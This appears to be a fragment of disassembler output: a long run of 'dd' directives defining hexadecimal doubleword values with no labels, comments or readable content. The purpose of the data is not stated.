		dd 44408180h, 0DC58EAE3h, 55A2C4A8h, 9EFB7E00h,	6AD98AC6h
		dd 10EB128Dh, 0AD4706C7h, 3F0039B6h, 11ABE5B4h,	72E020DAh
		dd 42B300AAh, 691DEEEDh, 3032049Ah, 90D19802h, 9846E878h
		dd 47E60664h, 0E8DC7135h, 2EA4CA22h, 12CEBD01h,	7D3020D1h
		dd 5B07524Dh, 0B2D48BFCh, 4CE94596h, 0A080E0ADh, 36650DE7h
		dd 670E7CEAh, 0ECDBE094h, 3500C77h, 0C048BDC7h,	780ACD14h
		dd 98033CBFh, 0A7209880h, 68662Eh, 87232A94h, 627D03Bh
		dd 0F1930D3Fh, 31BF221Fh, 69E5003Fh, 0AF71077Fh, 75D9C052h
		dd 0D2A21DB4h, 0F1002AEAh, 43E0052Bh, 50AB850h,	18DD0266h
		dd 0C3EC2053h, 630ABD92h, 0F81FDCF2h, 0D2EA4841h, 5A227D0h
		dd 584776A6h, 0C0CC40C5h, 3CE43349h, 0B2175000h, 59E1B313h
		dd 966602EAh, 49F9C879h, 68A4F440h, 0BC11D80h, 54BEA5E8h
		dd 45A32804h, 0C88D6B2h, 5700985Ch, 98640C18h, 0B4302405h
		dd 1F23157h, 0BB1ED8C9h, 0E80E4CE2h, 4449CB87h,	3AA92064h
		dd 9440B6CFh, 8FB91B00h, 9897B83Eh, 44471C8Ch, 72C740B3h
		dd 22C0B1A6h, 0E8BFB42Bh, 0B3CF003Eh, 1D579B9Ah, 14557CE6h
		dd 64CDEBC2h, 34D78700h, 9EB0B48Eh, 0B8366C24h,	68663942h
		dd 26D2ACh, 21A03D0Fh, 0BDDAA562h, 910E8302h, 0A2CF9BDCh
		dd 60CA2D78h, 8A4E86B0h, 8E4B6000h, 0B5006CC9h,	89ABB126h
		dd 0EAF5DFh, 505A8D2Bh,	79CC3899h, 3CA04674h, 8000AD49h
		dd 0D87B5F27h, 59B9223h, 969AF761h, 0CF4CC8D5h,	9936A100h
		dd 0F45D379Eh, 0EFD00960h, 7C22AB26h, 74492439h, 67C8DB16h
		dd 0B01B7D7h, 35714BD9h, 0EDEC94AEh, 0D3C80168h, 0DC90B5D2h
		dd 90C7226h, 9BD4D517h,	9CC28C20h, 37ABE0EDh, 0FB1E003Eh
		dd 5A16711Fh, 7259B882h, 45A8000Ch, 92D042A4h, 380B2CD5h
		dd 106E408Ch, 9A0046EEh, 762F061Ch, 265BCF0h, 30165531h
		dd 58C4546Bh, 5A0FE506h, 9159962Eh, 1C210870h, 0F860B8A6h
		dd 8877A2h, 0AF0313CCh,	0EF937BBBh, 0CE09E070h,	906DE61Eh
		dd 5284274h, 0C3265FF4h, 38F8820Dh, 990058C4h, 7876E431h
		dd 0B114A606h, 82158030h, 0F0543D24h, 297D1100h, 0D6F4EC88h
		dd 28C45CDDh, 24B0BC12h, 4E5580E8h, 0D300560Eh,	0F755B266h
		dd 26232FCBh, 3DA0BD97h, 0CF5CA444h, 0A2C8C060h, 2F5B3FAh
		dd 354F4572h, 646419F1h, 0C1EB1718h, 92AACF91h,	0D51D0030h
		dd 2B36A7D6h, 9D003454h, 153B8916h, 2B90479h, 0DD45AE27h
		dd 0EC90D726h, 9A44E15Ah, 0EF8A43Fh, 0D2F35F90h, 8DC3C0DEh
		dd 7902D5FEh, 0EC997E02h, 0A00739BAh, 0BCDC7A94h, 0F1CF09DAh
		dd 2A80442Eh, 0B43BD31Fh, 58E6A776h, 0DD609FE9h, 1746911h
		dd 55B7EBEFh, 0A499526Bh, 0D503D719h, 0AD93681Ah, 0A96F4492h
		dd 0F9F40088h, 57A6D1h,	0BF295D45h, 372416CEh, 0BB9ED500h
		dd 737DE56Ch, 6AB62895h, 0CEAD0734h, 42BB6ECBh,	500468A0h
		dd 72C9D780h, 5431C922h, 0A7E77418h, 68293F89h,	23E21A00h
		dd 6CE93B9Ah, 0D7D19E00h, 0E4DA3F4Ch, 0C1B260C6h, 0ACE74B09h
		dd 67B93B00h, 0AD306B9Fh, 80CA6B0Eh, 511E1B06h,	8078143Bh
		dd 168CC27h, 48BA95h, 0E6A84761h, 3B792659h, 1E44BF05h
		dd 0D04EC487h, 4E19E9DDh, 0E8AC1F10h, 560900F2h, 0EC0829ABh
		dd 0AFD2B601h, 0DA52B2CBh, 1F02874h, 35430DA0h,	7238793Bh
		dd 8EF20034h, 0F0F65307h, 9C98C5h, 0E813118Bh, 16FAF51Dh
		dd 8A610E00h, 0D8F10B63h, 31400048h, 0DB6DBA47h, 11002DE0h
		dd 0D2FB94Ch, 6D488963h, 0F1300832h, 1008B0BFh,	0C062B27Bh
		dd 92E3E518h, 5067CC4h,	5D158A77h, 5E250031h, 0D9FFE52Dh
		dd 6DE837B9h, 43EB3Fh, 0FBBD0369h, 0C0B68E51h, 1674E49h
		dd 0A900D5B0h, 457AF41Bh, 605EAA7h, 215EB6D8h, 0A900B966h
		dd 725B3FADh, 149F4h, 10235967h, 0B56E25F8h, 76B84B08h
		dd 8F7E050Eh, 753C002Eh, 0F3ED2403h, 0ECFF2603h, 0EB78D448h
		dd 21A6E08Ah, 64E216h, 90F17B8Fh, 182E51FAh, 3AF5744h
		dd 628D0D82h, 32C0174Bh, 0A6304868h, 0F64C2160h, 780A60F9h
		dd 882B0603h, 0D0FF98ABh, 0A8BA2F23h, 3EC21B18h, 0FE9D2D19h
		dd 0DE5800CCh, 0A74780DBh, 0EB0697BDh, 3DE62385h, 485A2A29h
		dd 1C7900C8h, 0BF9A6C0Fh, 0CE00B07Bh, 4C21029Dh, 3DB32F0Bh
		dd 0DF82CCC9h, 3FD72410h, 25EE2082h, 0A9085001h, 3FE9C5F0h
		dd 48A9BE03h, 973882CCh, 0C88F591Bh, 0A1F1BC21h, 3D5C8354h
		dd 0DD5D24ABh, 8DCFC802h, 7B0C48FDh, 35521DBDh,	76B9004Bh
		dd 5EA94439h, 80599B28h, 0F936F818h, 0FAE04689h, 0C6230091h
		dd 0A4972732h, 24602B93h, 302EF321h, 33B20188h,	6E179CDEh
		dd 0CD0FFD3h, 7203D17Eh, 3FF6224Bh, 81CEF2h, 8404C0Fh
		dd 0FC592F26h, 1098C0A8h, 9D563Dh, 29419CA6h, 7D02E8h
		dd 0CDCB3E80h, 86A83F8Bh, 0E30CD01Dh, 62C37A94h, 0A3481650h
		dd 0CFEADFE8h, 7009EE41h, 0BB10E8h, 0CECD3EA9h,	0A1DE88ECh
		dd 2C9B3208h, 8F53803Ah, 0CAE3E27Ah, 0C03CF400h, 707742E4h
		dd 0BF800031h, 12101F75h, 0FE608E81h, 9EA041C1h, 6B65001Eh
		dd 0DCC03A27h, 7FE03087h, 880311FEh, 2344D3F7h,	32993C6Ch
		dd 0D818A43Ch, 0F4697928h, 0D58D2003h, 492455h,	56A5AE29h
		dd 0BE66B3FCh, 37AC5300h, 671A8BBDh, 0D6BC3D28h, 997B2C02h
		dd 30484559h, 4B008536h, 7D08E079h, 297F19h, 0B1F261D7h
		dd 227B68EFh, 26B86461h, 2BC8FE58h, 1466002Fh, 59DF9171h
		dd 2E00EF15h, 0D8E67921h
		dd 43C930h, 564D7ABCh, 0CB240D93h, 1366B520h, 5FB87938h
		dd 71CC0C00h, 0F219BCD1h, 0E304BA8h, 1AED6840h,	0E93E02FFh
		dd 32598770h, 0A75672E0h, 0B590810Eh, 484AE3A8h, 74582911h
		dd 6111E8h, 0E9D2911Bh,	7D94269h, 1835930Dh, 5C9F60EBh
		dd 7F006BDAh, 518690BCh, 0D260F174h, 8E244504h,	46D8401Ah
		dd 0A54EAE04h, 947CB604h, 2CC0228Fh, 90E7E379h,	0FABA4CFDh
		dd 881BB402h, 28443848h, 725A4318h, 256251h, 4255EB27h
		dd 2B9944A2h, 1B61E401h, 6FCC4382h, 0A5CAF042h,	0D0225A94h
		dd 0A5AC806Ch, 1CDFA3h,	949DC564h, 0CB7818EBh, 0FFCA4E03h
		dd 0D103706Ah, 4430E1ECh, 0F65605BAh, 80040E69h, 98852B00h
		dd 21C1B315h, 0C0E400B8h, 7EB12AA9h, 82E9392Eh,	0D4320073h
		dd 36CCFA3Ch, 70160F16h, 401353h, 7F3A9802h, 3B9D0051h
		dd 0B9D6E056h, 5F05D379h, 8048F35Eh, 142E1C88h,	8FA7E68h
		dd 83F1911Ch, 10D8C78Eh, 71F065E8h, 0A4008CAAh,	8DF480E1h
		dd 0EDB3340Fh, 36430778h, 0A7706CD2h, 6E5087B4h, 2D24842h
		dd 0BE9DB9B1h, 0F8A45A0Eh, 0E5BC4049h, 260645CAh, 0FA9325h
		dd 1BC8DD33h, 2F8789Eh,	9FEA5A02h, 44C53819h, 6216316Ch
		dd 0C8C21241h, 8B035742h, 0AED604DFh, 29868Eh, 5A94F68Ah
		dd 0A6F41DA2h, 440EF903h, 902B9B21h, 0C05E1684h, 0A0383F1h
		dd 871C86A3h, 58B89CA4h, 734C0804h, 8B42610h, 9CBE6435h
		dd 0E466797Ah, 0E8D7EB81h, 2180218Eh, 567609AEh, 6538EEECh
		dd 0C200F5F1h, 518EF5D9h, 444F7Fh, 7392F657h, 0B137AEB4h
		dd 0EE66390Bh, 68241842h, 0D64D0030h, 0DE5D1BA0h, 6057532h
		dd 120C6E19h, 0E835B4C3h, 1808A109h, 0A966D0BAh, 3616A621h
		dd 18137D6Ah, 2E389C02h, 134DC0F1h, 7C2F00F4h, 281E0E22h
		dd 0BD15706Bh, 0A85320h, 0AD190744h, 7A822E5Bh,	9D809D7Ah
		dd 0C09490E3h, 0FB8A0F0Eh, 472FA23Dh, 709C4423h, 412200B0h
		dd 1DEF783Ah, 8200845Dh, 866EF639h, 19D3D5A1h, 0CA357216h
		dd 6B8020B3h, 0FB13D7F8h, 90059F34h, 2800157Eh,	7794655Ch
		dd 789500C8h, 6AF910B0h, 9A00CB67h, 13DCEB79h, 0D43776Eh
		dd 4B245388h, 1AA9F439h, 0EAAFF300h, 7AEF18CFh,	25B003h
		dd 0FC63E316h, 0C084D351h, 0B0018878h, 0B118162h, 0B4243CC2h
		dd 85BE02CDh, 500708DBh, 0F2C9A180h, 46E88FFCh,	0EF8A850h
		dd 0EC715460h, 7320B19Ah, 0DCEC99h, 2D493865h, 0FDAB402Eh
		dd 8EF83409h, 0BEAC2019h, 1204D15Bh, 2059908Bh,	3816E9D4h
		dd 0AA71F600h, 0C13D15D6h, 0ABD766Fh, 21995255h, 407A8738h
		dd 0E0B94050h, 0C300646Eh, 2C1A49AFh, 502795C2h, 0FA386CACh
		dd 0B0634DFFh, 0C8E6FAC0h, 350081BEh, 6D123936h, 1C589745h
		dd 0A4AC988Ah, 20C2967Ch, 2FAEF2F8h, 2C6D1500h,	0EBF63F9Dh
		dd 1F460058h, 5043F10Dh, 7C50803Ch, 0DE3022C4h,	7F693970h
		dd 0B54813D4h, 40AC57E1h, 0BE127558h, 0C1017E65h, 0FAFFD07Dh
		dd 6034FBA2h, 1CAF3139h, 17E624B9h, 82AA8183h, 0AD30A0E4h
		dd 48FAC58Bh, 0BC0975F2h, 2C9017CFh, 230050FDh,	0F4D14BCDh
		dd 3811A1A3h, 9E0295D0h, 8990D6Bh, 8DC1DC40h, 0C551CFh
		dd 2FC461A7h, 89909480h, 5449F44Ch, 8490327Fh, 133BFEh
		dd 6654E350h, 7B2C7431h, 518098C4h, 0CF34035Fh,	57F60014h
		dd 1E85D31Ah, 64A0C206h, 0EF00643Dh, 422DF2F0h,	0E50AB3B2h
		dd 91A438D4h, 86C3001Ch, 65909FA8h, 92A0F45Ch, 1FCB7430h
		dd 1B1A03A2h, 4DA510EDh, 0A9921288h, 7B519605h,	8C044C14h
		dd 38A2D824h, 80DBC285h, 8F0C0985h, 0E4F3AB2Bh,	0A04A488Fh
		dd 43DFA457h, 0B3E27Eh,	440AFBC8h, 83229E63h, 9459B826h
		dd 0CF0C7D43h, 8F4845BFh, 7505D482h, 32AB56E0h,	120298F2h
		dd 5BD83F8Dh, 0ED3CC092h, 0F7D019B9h, 1022D9FEh, 3E8ACBD1h
		dd 7100302Bh, 0BC7BB562h, 2D02F14Fh, 0D8129F4Eh, 0C418A7E1h
		dd 88CE70A3h, 484C31h, 0EA3FE0D5h, 3214B9E2h, 681FB4B0h
		dd 0BD80F4E3h, 6921F039h, 0FBCC1326h, 0EA80760h, 12BCCA52h
		dd 6E381F8Ah, 32906484h, 0C44812E0h, 7A533F32h,	0DE3600D8h
		dd 0B38F5ED6h, 0C21018CFh, 0E1DA3132h, 0D5A9A000h, 6B834D3Ah
		dd 0A0B0ECh, 1C9016B9h,	0F524038Dh, 0CBBCE01Eh,	0C90A6E5Fh
		dd 0C0098B8h, 0E5B1B3A0h, 3602E43h, 7641D44h, 0D1F24283h
		dd 2D6B5A78h, 0A3B0C4FCh, 0DF237F01h, 0A45C4033h, 0F56460F8h
		dd 43C18911h, 887170A8h, 5A247433h, 70744738h, 4A9D6F32h
		dd 780F5B7Eh, 885DF9h, 253F68AAh, 0B3930219h, 0BD64FB02h
		dd 6900F059h, 0D603688Dh, 0E03F0690h, 0D88CBA0Fh, 0B0F26524h
		dd 562E1260h, 8F3F05A4h, 0C8260DD0h, 9D00E638h,	11C18D7Ch
		dd 4C61BF24h, 6409FB6Bh, 2CA453F5h, 8778C88Eh, 0AA84BA2Ch
		dd 0F0EBA303h, 498698E4h, 0E0574EA5h, 53023F17h, 7D306AA4h
		dd 76684C8Ah, 34275C38h, 0F6805388h, 93B721AFh,	903E3EA7h
		dd 0C685BD07h, 0F09707C9h, 0C80365F0h, 41EC4B1Fh, 0C80A66C9h
		dd 4DE2634h, 0FF09CC43h, 19A0C664h, 0BB374813h,	4BB83421h
		dd 0F5644314h, 0D1988539h, 0B100FEF3h, 40D6A2ACh, 931AFEBh
		dd 322F02F2h, 82BB4004h, 0FCA0A3D4h, 7F4BDA0Bh,	0A82BCD28h
		dd 9439400h, 0B31B8130h, 0BCEE0775h, 0F05E64F1h, 0D87B3CBDh
		dd 15B6EB0Ch, 90F14Ch, 341C3AF1h, 374F6058h, 18ED9126h
		dd 98E8102h, 15E44035h,	231C04Ah, 0CA163C86h, 0A8F53100h
		dd 0CDE17FF3h, 5B409FEDh, 6E017781h, 0AD683532h, 2C34F5C3h
		dd 7B520C0Ah, 23502E26h, 8070DD20h, 0A81BCCC4h,	0F7B9EB84h
		dd 18C8C4Ch, 9FB52202h,	0D8AB1A16h, 79008104h, 61D358EAh
		dd 190DAE1h, 8CFA8238h,	6034D9A4h, 90A8B45Dh, 20B188EBh
		dd 60A5503h, 728EC222h,	0C76E0198h, 49EB1B9Bh, 0F781709Ah
		dd 4F007AF4h, 88BB0738h, 199BBC42h, 503D18EDh, 20722Ah
		dd 3AC8A1CAh, 447839h, 0E36F7E0h, 0E5865909h, 9F7E158h
		dd 18F665E2h, 30C5377Ch, 2E115B59h, 0FF009D19h,	0FEDB568Bh
		dd 241C65CCh, 8ED4075Ah, 96E739ECh, 0B404F0C0h,	1200ED02h
		dd 0AD54A2B5h, 2F72078h, 7DC0EF38h, 28618C92h, 47462CBh
		dd 0A301AB57h, 650028E2h, 7A092D54h, 70093EEh, 28EA823Ah
		dd 298F5FDFh, 3BC48E61h, 32D6F300h, 23CE411Ah, 0C440214Ah
		dd 3A72C0D4h, 3FE00FCh,	57D7E67Ch, 884C30DAh, 0D8C4C094h
		dd 7D11F1FAh, 9C791743h, 26A80CAEh, 0D49E1661h,	450C5680h
		dd 1FBD57C2h, 383AA98Eh, 6E16D02h, 0C081915Bh, 32D9FF75h
		dd 0A48D02C4h, 50076ED4h, 0FDBC10DCh, 7AEC430Ah, 0C547300h
		dd 4F809695h, 0EC786Ah,	6BCD4477h, 68DCF15Bh, 0DE4CFFE8h
		dd 648DC8FCh, 543C20E6h, 0A0D83222h, 0E0905A11h, 0B300BE75h
		dd 0DE0F06C5h, 99474B9h, 25BDF765h, 0E15F038h, 21E24B00h
		dd 96835524h, 653499EFh, 0B848D848h, 90371D86h,	0E8102D3Ch
		dd 1300C261h, 9F1E5377h, 303C9635h, 0FC1B78Eh, 0ECF14840h
		dd 0C417A94Ch, 780BCEDAh, 4690447Ah, 373004F5h,	0F4880E07h
		dd 0BEE70020h, 876F83D3h, 1400FD0Ch, 4A2B8EE6h,	77F6CB6Dh
		dd 10E54DA5h, 9AC72848h, 0DBFC005Ch, 0E266870h,	0FF0444BDh
		dd 0F88C77DCh, 0D86A880Ch, 237B831Dh, 0F04CF10Ch, 158A2D69h
		dd 0FB01F42Fh, 0C8165246h, 2B0B81E3h, 49A4973Fh, 0E30E08Ch
		dd 9331078Bh, 6C909948h, 0D14B4338h, 419EB040h,	0F88D1Fh
		dd 68DD6B8Eh, 6D62342Ah
		dd 66FBD303h, 90C8F1ADh, 22430635h, 713F245Ah, 0C2BD6Ah
		dd 0EC9A06Ch, 1C56FDACh, 0B7BD51D5h, 9738A190h,	0D10F1322h
		dd 0D0966C83h, 8AA84AD4h, 0F59560CCh, 0DC03EB7Ah, 3E17DFFFh
		dd 32AD8BE0h, 933957C0h, 0C538CCA2h, 65839490h,	8108F048h
		dd 983E326Bh, 267096D3h, 8348D48h, 0EC261CB8h, 0C2942525h
		dd 0E3CF8A4h, 9EDE3139h, 0CC5340BFh, 892869E6h,	0ACA8C8CAh
		dd 3B55009h, 5F16E4h, 0FB306141h, 4F55A9EAh, 3EE8E30Fh
		dd 50666332h, 0F1B9F1A4h, 23FC2E8h, 0B8BE4C12h,	0A4873851h
		dd 79707257h, 3069DC80h, 0A6022668h, 0C90EED20h, 0F0A0A6FBh
		dd 0A0EE5478h, 0CDA5924h, 605508A1h, 3232F69Eh,	1635E926h
		dd 180F9E00h, 0EF29E3AFh, 281775C1h, 21D47FCEh,	203D6442h
		dd 0AC1754FEh, 0B1F22C38h, 0F04B421Ch, 0B40B98E6h, 0A7200AD8h
		dd 4468DB1Ch, 11D2404Ah, 3E71B6A6h, 4503DDB3h, 2CCCE473h
		dd 0B9C474A0h, 9DE07758h, 32680B3Ch, 0D1B8C87Bh, 0A025004Fh
		dd 40DE57F0h, 7D168D01h, 0E856E6AFh, 0C32D4A1h,	0F7A60C00h
		dd 5DC19E39h, 1C88B900h, 0BCB45C4h, 583A0479h, 9150FEE0h
		dd 37BF12Ch, 8DD1305Bh,	44488289h, 320BC9DFh, 0B81C8008h
		dd 57C40B2h, 8DB4F242h,	7E9C0418h, 0DE240558h, 133384E2h
		dd 0C2006C91h, 0B1D3C405h, 8F3EC9h, 0D9529420h,	0E033C81h
		dd 6D0020B1h, 6C91CAB2h, 97DD1F4Ch, 83AA402Bh, 729BA35h
		dd 8A4870F8h, 16413C26h, 98378F7Bh, 0F0A05AB7h,	0EBFEB0h
		dd 34DA6DD7h, 0A9EDD568h, 0EE2C1700h, 969C3ABAh, 8E522543h
		dd 0FCC9D0A0h, 27391D71h, 23810BEBh, 0F6680DEh,	287A385Ah
		dd 45705914h, 26C8F170h, 0A0592740h, 274B5BBCh,	0D7D40023h
		dd 5E7CECF1h, 0AE03E715h, 1F4D228h, 0E17DBA38h,	0E8636250h
		dd 27D1E400h, 9E30716Ch, 0C48A300h, 3D7035D7h, 823E3C84h
		dd 25D38E01h, 423AE4FFh, 1444F144h, 0FF4F649Eh,	0B9591C00h
		dd 219C8BD8h, 5B16072Fh, 0B8E0E08Ch, 512C0CC0h,	3A49B58Eh
		dd 2E199107h, 39975A77h, 76CE5C50h, 494B13EEh, 302C00A3h
		dd 608F65C9h, 2B594873h, 684C2E88h, 0E7377E60h,	0E8736439h
		dd 0C074CC69h, 52B80803h, 9877EBC5h, 50DFA111h,	7E0108Dh
		dd 0AD8C997Eh, 1A275F10h, 0BB160022h, 18B9B327h, 0CA1B8380h
		dd 0C4319D52h, 27F77A88h, 0C8565E54h, 0E500ECE0h, 0FD188566h
		dd 191B40h, 0BDD6D843h,	8CF7FB2Eh, 0A792A02h, 4888B0Eh
		dd 0A894E4C2h, 6C4B3600h, 8A426A79h, 0FEB70002h, 0D5168F4Ch
		dd 6E4FCE1Dh, 2B865842h, 0A9692210h, 388FB481h,	0AED04813h
		dd 0CBF63604h, 0B8847AC6h, 5C165980h, 768029A3h, 59E383D0h
		dd 0B3B8AF8Ah, 430B74B5h, 4047C1BCh, 4CD80F40h,	5F217428h
		dd 1D40582Ch, 0BC20EAh,	0D1E3466Ch, 8756A7ADh, 68249803h
		dd 0F48F661h, 93C203B1h, 9903037h, 0E80012EEh, 0D5089970h
		dd 0E4DE4BC5h, 898A094Fh, 0D08BA94Eh, 0B2796810h, 7C696241h
		dd 2ECF1A00h, 6D9D54C6h, 966CF400h, 0D8082055h,	882F026Eh
		dd 0B26B05D9h, 0B0CD860h, 5A0E89C9h, 839E001Ch,	532F6CA5h
		dd 50027F90h, 6D2D1DD0h, 25E89812h, 0D95E00BFh,	0DF356FCBh
		dd 7A004AEEh, 0A83ECD74h, 15F4CF9h, 0AFECCCD4h,	48156B65h
		dd 477A0394h, 0E203F990h, 1A9F17A8h, 79DD8816h,	42B72F38h
		dd 0FB860090h, 5300CBF6h, 0C9CDF194h, 17297456h, 5CD722F8h
		dd 8838B528h, 0C130EB94h, 43CC193Bh, 9C393CD7h,	0CD79F100h
		dd 76D1B1DCh, 5DCAFC07h, 4B82ED69h, 1EB8EC0Bh, 94559BAh
		dd 8458881Ch, 98BD8200h, 0FD047333h, 1318908Dh,	0D05A19A0h
		dd 460DA2B8h, 45A3940Bh, 0C3240079h, 2E168B1Ch,	0A7B0670Eh
		dd 2C12E890h, 2200FAFAh, 780E49E9h, 0C8260Ch, 7D45FD1Ah
		dd 0C3C771ACh, 25E45658h, 736CA02Ch, 49E3CCh, 3724A7C9h
		dd 87B1A5FCh, 0FF02B304h, 60E5F564h, 2B53E802h,	91C6B00h
		dd 7207D810h, 0B6BB79B2h, 0BD666000h, 0E0055D44h, 2944C120h
		dd 0B8E64C24h, 530DA4C4h, 0B6EBD004h, 743310A0h, 29BD6124h
		dd 12DB8E9Eh, 98DA16h, 0A5793C17h, 1BEAB7D5h, 1055700h
		dd 0A330437h, 70220296h, 26E1238Eh, 341360C5h, 27923900h
		dd 0DC88B8h, 3884818Fh,	3D964187h, 71D5507Ah, 0A47B24F8h
		dd 9C9E4240h, 0A0AF0097h, 54B0744Fh, 0D7DE651h,	0AE4C7000h
		dd 0F574843h, 12A4F892h, 0CAF1615Bh, 1FCD0358h,	90E781BCh
		dd 6A1B1Dh, 18D19565h, 0E0C36BA7h, 0FA48D916h, 78C77180h
		dd 0AB5600B8h, 264F7E50h, 3484C44h, 76731004h, 0DF562E1Fh
		dd 0A672121Ch, 75B20B00h, 6CA882EEh, 40F85623h,	805816BDh
		dd 0A9E03Ch, 4B8D43F7h,	0E4C699h, 0A6745CB0h, 0CC3F3979h
		dd 96642720h, 3A236088h, 7001D2D1h, 899E574Eh, 6FF96E7Ah
		dd 87824h, 0F0308F64h, 9E432638h, 5D9C4815h, 9FBD3CE0h
		dd 300521E6h, 58020FD0h, 89E9B84Ch, 0DC403098h,	0EC3100E3h
		dd 2629BB93h, 0A10082F1h, 30E172F2h, 0B1343803h, 29B980D8h
		dd 0FE16F31Eh, 0AC45AA03h, 0C0F1E4C0h, 12105C4Ch, 0CD657C8Fh
		dd 7718E4B8h, 62324819h, 87043A1h, 1F8B8809h, 83383F90h
		dd 5C0B4B2Bh, 5AB88181h, 6D0293BAh, 848D3822h, 94B4165Ch
		dd 7C7139h, 0C0E472A3h,	96CE2F54h, 0BCD72310h, 451AF684h
		dd 90E2E124h, 73D0B075h, 0C8A22E0Eh, 59A00CD0h,	21886561h
		dd 99293D77h, 76FA088Eh, 19654AEh, 0E1988F7h, 228062FCh
		dd 48177E38h, 1638F6CBh, 0DB1CEF00h, 3E15215Bh,	0BCC6710Fh
		dd 10C16950h, 96CD18h, 6762076Bh, 753DB009h, 8E00CFE6h
		dd 51575CB1h, 4869E022h, 58224061h, 708E84A0h, 0C688AE25h
		dd 0A63A00F0h, 1DE26030h, 0C9002BC4h, 2583F449h, 38F088ACh
		dd 0B4AE6A1Fh, 0EAA402DCh, 5874706Bh, 65AC2640h, 8D313FF5h
		dd 0A6B48700h, 1BBCAE11h, 218E6727h, 0DB7BC1ECh, 5126730h
		dd 298C988Dh, 2F9CC01Dh, 0DCA1A333h, 88A2156Fh,	0C036C11Ch
		dd 96821943h, 0EE00CC09h, 0D97C6A39h, 90AA4Fh, 9BBC2440h
		dd 0DF24C12h, 50480B40h, 98937CA1h, 83D8B47Ch, 0C93643E8h
		dd 2C56B192h, 0E3691A00h, 5968FD6Fh, 1C481016h,	0DEDD7059h
		dd 5030CFD0h, 0DB69D6C0h, 5300C01Ch, 0C420C951h, 0AF1952h
		dd 68B8E62Ch, 82EE49F6h, 4C144702h, 60ED8541h, 41A4F24h
		dd 2416F983h, 8A74F4E3h, 4440A412h, 661C2809h, 0DE9C24BCh
		dd 328D1280h, 6911E448h, 732F7468h, 24E4FCA9h, 70AE0200h
		dd 95C95712h, 60C0B66Bh, 4C117F8Dh, 2823F54Ah, 78ADF4D7h
		dd 6C168104h, 8384847Bh, 7922891Eh, 905A4B3Fh, 69C38E54h
		dd 0F8DF1F00h, 0A09FF7A5h, 0E33F12FBh, 11BC2823h, 93018807h
		dd 3E326BFCh, 0FB0C644h, 48B6F95Fh, 67EF9043h, 0AC4938AAh
		dd 0CC88700Bh, 71313018h, 0BB88CF18h, 461380C8h, 2AB8E21Ah
		dd 1D95B30Fh, 3DA3A0F2h, 4A6574F3h, 48CC43BEh, 4101AE8Dh
		dd 81D15243h, 588B4142h, 4C12BE66h, 0FA00A8E4h,	1D87E543h
		dd 654730h, 0B0CAEAE2h,	0DD3F2E55h, 6901FEB0h, 0E53322D5h
		dd 8C390E1Dh, 0A7F72D00h, 3B911F6Dh, 6B6F5502h,	5E2AEF84h
		dd 46808038h, 5B1A36BFh, 6182810Eh, 0C918A030h,	0F937EC8h
		dd 8B87F612h, 0AC7A7F84h, 0FFC8C068h, 0E6AE73E9h, 0A2DA3833h
		dd 83EB8B9Eh, 164A4B67h, 0B5B2DBB0h, 52456002h,	6564598Eh
		dd 0AC9E1568h, 12F48178h, 0B570C02Fh, 38C9021h,	0A457116Ch
		dd 84E0BA04h, 0C0B9CC24h
		dd 1960E42Ch, 0DC0C37h,	0B0DFCE08h, 18294C2h, 6C00744Bh
		dd 40BCF039h, 0B9990748h, 54D51F4Fh, 7C38817Eh,	20623E52h
		dd 53BD30BFh, 7604C5E8h, 2C3415BEh, 67011CF9h, 9B967BB3h
		dd 0CD0AC0DDh, 2603397Ch, 4BEDA3ADh, 540CCA40h,	0A243400Ch
		dd 62001245h, 46C10F39h, 7064563Dh, 54FCA4F4h, 0D3940Ch
		dd 5E9BCC42h, 9D7286F2h, 0FCB4DB0Eh, 2F8907B0h,	748C8FD5h
		dd 0B25F0F10h, 0D2AF1F97h, 0C85E6E40h, 1E0379A5h, 2149464Fh
		dd 2EE10558h, 9587779Bh, 76AC0898h, 0E2A0F280h,	48E90EF9h
		dd 0DA809C0Dh, 0AE7F117Dh, 0C0800604h, 0B0E26C43h, 0B7FF9D07h
		dd 0BB2580ABh, 0E57D9448h, 0EA0F7096h, 0D100FDFEh, 8C950614h
		dd 4BEB2738h, 2F05D0CCh, 0D91E2E51h, 4AC900A3h,	60B8A00Ah
		dd 29BD47DBh, 88125903h, 0F0E74DF2h, 0EAA895Ch,	0E42BCEBh
		dd 1F46505h, 8EF7F134h,	8234283Fh, 6195E183h, 4C115DD4h
		dd 54312AF7h, 702A9E1Bh, 43C14B4h, 0C0407758h, 19341170h
		dd 0BA1E005Ah, 2909D10Ah, 0E2372465h, 0D4EAD127h, 0B643AF40h
		dd 4A60006Fh, 0D6D5192Bh, 2198B413h, 88C08616h,	2E06A8C8h
		dd 1279A35h, 0DD5E4D57h, 0C1EECCB6h, 0A480A8B6h, 0A7FD279Ah
		dd 3398AEh, 814CE5F1h, 2F356B51h, 58B8054Ch, 1AE5A228h
		dd 25DA0460h, 0B17B6988h, 5C20098h, 0A5EB6419h,	207AF2FFh
		dd 0BA348C0Eh, 3DB00E5h, 0A994B6F3h, 0CC22E6E0h, 10DED6C1h
		dd 0B840F2D0h, 1C041D9Ah, 5C6C03DDh, 13554887h,	50B4C8h
		dd 0DFC4C2DCh, 4BDA9672h, 4C98BF4Ch, 3FFC81A4h,	0C98018C5h
		dd 1ED962C3h, 7E4842FBh, 385E27E0h, 0F8E194h, 119D2EA2h
		dd 0F527E9Fh, 72C1AC0Bh, 0F79884A4h, 0C08178ECh, 72CC3FFAh
		dd 2FEE00F4h, 2E126B34h, 0F030451h, 95FAB94Ch, 6F88028h
		dd 79266233h, 0C9608CB8h, 3AAC787h, 8F23F274h, 27A07512h
		dd 0A6240DC6h, 0C502890h, 0F4648A53h, 2BF38C00h, 3DE84E9Dh
		dd 6B25078Dh, 31BFF83Bh, 0C054B9E4h, 6CB1AF03h,	66445981h
		dd 0E8D0ACEEh, 20589EA2h, 0B388A034h, 4D9F681h,	34DA5051h
		dd 0DFFCB888h, 381DCE7Fh, 0EB4C425h, 318841F9h,	7C9D9740h
		dd 4903B638h, 0FD6BA98Dh, 2FE1C971h, 0F6802C68h, 0ED7217DCh
		dd 0C5CF0900h, 790B2425h, 0A4D8B8EBh, 949097ACh, 8C022EF3h
		dd 0F2439BC7h, 2E6850B4h, 64341B7Ah, 0E39E4171h, 0A4704081h
		dd 1C9633h, 0A24AD9EBh,	20937ABh, 522BCB16h, 0E4559880h
		dd 671CBE56h, 16388CEFh, 0B58030BEh, 9E47B9F2h,	223AEB3Fh
		dd 7D234BA4h, 8CE3B8C9h, 2F0E075Ah, 5906CA53h, 0A5281890h
		dd 5EF805Ch, 42E8857Ah,	43E7B500h, 917B409h, 1C3BF665h
